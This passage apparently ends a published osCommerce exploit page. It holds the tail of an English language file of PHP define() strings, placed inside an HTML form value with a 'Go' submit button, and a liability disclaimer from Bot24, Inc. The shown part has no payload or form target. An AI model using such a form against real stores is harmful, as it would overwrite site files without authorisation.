define(&apos;IMAGE_BUTTON_REVIEWS&apos;, &apos;Reviews&apos;);
define(&apos;IMAGE_BUTTON_SEARCH&apos;, &apos;Search&apos;);
define(&apos;IMAGE_BUTTON_SHIPPING_OPTIONS&apos;, &apos;Shipping Options&apos;);
define(&apos;IMAGE_BUTTON_TELL_A_FRIEND&apos;, &apos;Tell a Friend&apos;);
define(&apos;IMAGE_BUTTON_UPDATE&apos;, &apos;Update&apos;);
define(&apos;IMAGE_BUTTON_UPDATE_CART&apos;, &apos;Update Cart&apos;);
define(&apos;IMAGE_BUTTON_WRITE_REVIEW&apos;, &apos;Write Review&apos;);

define(&apos;SMALL_IMAGE_BUTTON_DELETE&apos;, &apos;Delete&apos;);
define(&apos;SMALL_IMAGE_BUTTON_EDIT&apos;, &apos;Edit&apos;);
define(&apos;SMALL_IMAGE_BUTTON_VIEW&apos;, &apos;View&apos;);

define(&apos;ICON_ARROW_RIGHT&apos;, &apos;more&apos;);
define(&apos;ICON_CART&apos;, &apos;In Cart&apos;);
define(&apos;ICON_ERROR&apos;, &apos;Error&apos;);
define(&apos;ICON_SUCCESS&apos;, &apos;Success&apos;);
define(&apos;ICON_WARNING&apos;, &apos;Warning&apos;);

define(&apos;TEXT_GREETING_PERSONAL&apos;, &apos;Welcome back <span class="greetUser">%s!</span> Would you like to see which <a href="%s"><u>new products</u></a> are available to purchase?&apos;);
define(&apos;TEXT_GREETING_PERSONAL_RELOGON&apos;, &apos;<small>If you are not %s, please <a href="%s"><u>log yourself in</u></a> with your account information.</small>&apos;);
define(&apos;TEXT_GREETING_GUEST&apos;, &apos;Welcome <span class="greetUser">Guest!</span> Would you like to <a href="%s"><u>log yourself in</u></a>? Or would you prefer to <a href="%s"><u>create an account</u></a>?&apos;);

define(&apos;TEXT_SORT_PRODUCTS&apos;, &apos;Sort products &apos;);
define(&apos;TEXT_DESCENDINGLY&apos;, &apos;descendingly&apos;);
define(&apos;TEXT_ASCENDINGLY&apos;, &apos;ascendingly&apos;);
define(&apos;TEXT_BY&apos;, &apos; by &apos;);

define(&apos;TEXT_REVIEW_BY&apos;, &apos;by %s&apos;);
define(&apos;TEXT_REVIEW_WORD_COUNT&apos;, &apos;%s words&apos;);
define(&apos;TEXT_REVIEW_RATING&apos;, &apos;Rating: %s [%s]&apos;);
define(&apos;TEXT_REVIEW_DATE_ADDED&apos;, &apos;Date Added: %s&apos;);
define(&apos;TEXT_NO_REVIEWS&apos;, &apos;There are currently no product reviews.&apos;);

define(&apos;TEXT_NO_NEW_PRODUCTS&apos;, &apos;There are currently no products.&apos;);

define(&apos;TEXT_UNKNOWN_TAX_RATE&apos;, &apos;Unknown tax rate&apos;);

define(&apos;TEXT_REQUIRED&apos;, &apos;<span class="errorText">Required</span>&apos;);

define(&apos;ERROR_TEP_MAIL&apos;, &apos;<font face="Verdana, Arial" size="2" color="#ff0000"><strong><small>TEP ERROR:</small> Cannot send the email through the specified SMTP server. Please check your php.ini setting and correct the SMTP server if necessary.</strong></font>&apos;);

define(&apos;TEXT_CCVAL_ERROR_INVALID_DATE&apos;, &apos;The expiry date entered for the credit card is invalid. Please check the date and try again.&apos;);
define(&apos;TEXT_CCVAL_ERROR_INVALID_NUMBER&apos;, &apos;The credit card number entered is invalid. Please check the number and try again.&apos;);
define(&apos;TEXT_CCVAL_ERROR_UNKNOWN_CARD&apos;, &apos;The first four digits of the number entered are: %s. If that number is correct, we do not accept that type of credit card. If it is wrong, please try again.&apos;);

define(&apos;FOOTER_TEXT_BODY&apos;, &apos;Copyright &copy; &apos; . date(&apos;Y&apos;) . &apos; <a href="&apos; . tep_href_link(FILENAME_DEFAULT) . &apos;">&apos; . STORE_NAME . &apos;</a><br />Powered by <a href="http://www.oscommerce.com" target="_blank">osCommerce</a>&apos;);
?>
" />
<input type="submit" value="Go" />
</form>
</body>
</html>

//The information contained within this publication is
//supplied "as-is"with no warranties or guarantees of fitness
//of use or otherwise. Bot24, Inc nor Bradley Sean Susser accepts
//responsibility for any damage caused by the use or misuse of
//this information

Show more